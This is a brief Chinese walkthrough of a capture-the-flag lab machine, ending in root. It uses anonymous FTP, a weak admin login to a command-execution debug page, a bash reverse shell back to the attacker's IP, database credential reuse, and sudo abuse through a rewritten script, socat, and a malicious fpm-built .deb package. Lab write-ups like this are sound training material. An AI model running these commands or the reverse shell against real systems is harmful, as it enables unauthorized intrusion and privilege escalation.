kali：192.168.111.111

靶机：192.168.111.187

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.187

ftp匿名登陆发现两个文件

ftp 192.168.111.187

NOTES.txt提示存在用户名admin

cred.zip需要密码

漏洞利用

访问debug目录，使用弱口令：admin|admin登录后发现可以执行命令

使用burp抓包替换执行的命令为反弹shell，反弹shell需要url编码后才能执行

bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/4444 0>&1'

查看/var/www/html/db.php获得mysql数据库账号密码

使用账号密码：web|P@ssw0rdweb，登录mysql查看mydatabase数据库中的creds表获得cred.zip压缩包的密码

mysql -uweb -pP@ssw0rdweb

解压后获得userx用户的密码

userx用户sudo -l

修改/scripts/whatsmyid.sh内容为

#!/bin/bash

/bin/bash

执行脚本后切换到evdaez用户

sudo -u evdaez /scripts/whatsmyid.sh

evdaez用户sudo -l

sudo -u researcherx socat stdin exec:/bin/sh

researcherx用户sudo -l

安装好fpm后在kali上运行以下命令，运行之后会生成x_1.0_all.deb软件包

TF=$(mktemp -d)

echo 'exec /bin/sh' > $TF/x.sh

fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF

本地用python开启http服务

python3 -m http.server

靶机上使用wget下载x_1.0_all.deb软件包

之后安装该软件包提升到root权限

sudo -u root dpkg -i x_1.0_all.deb

获得flag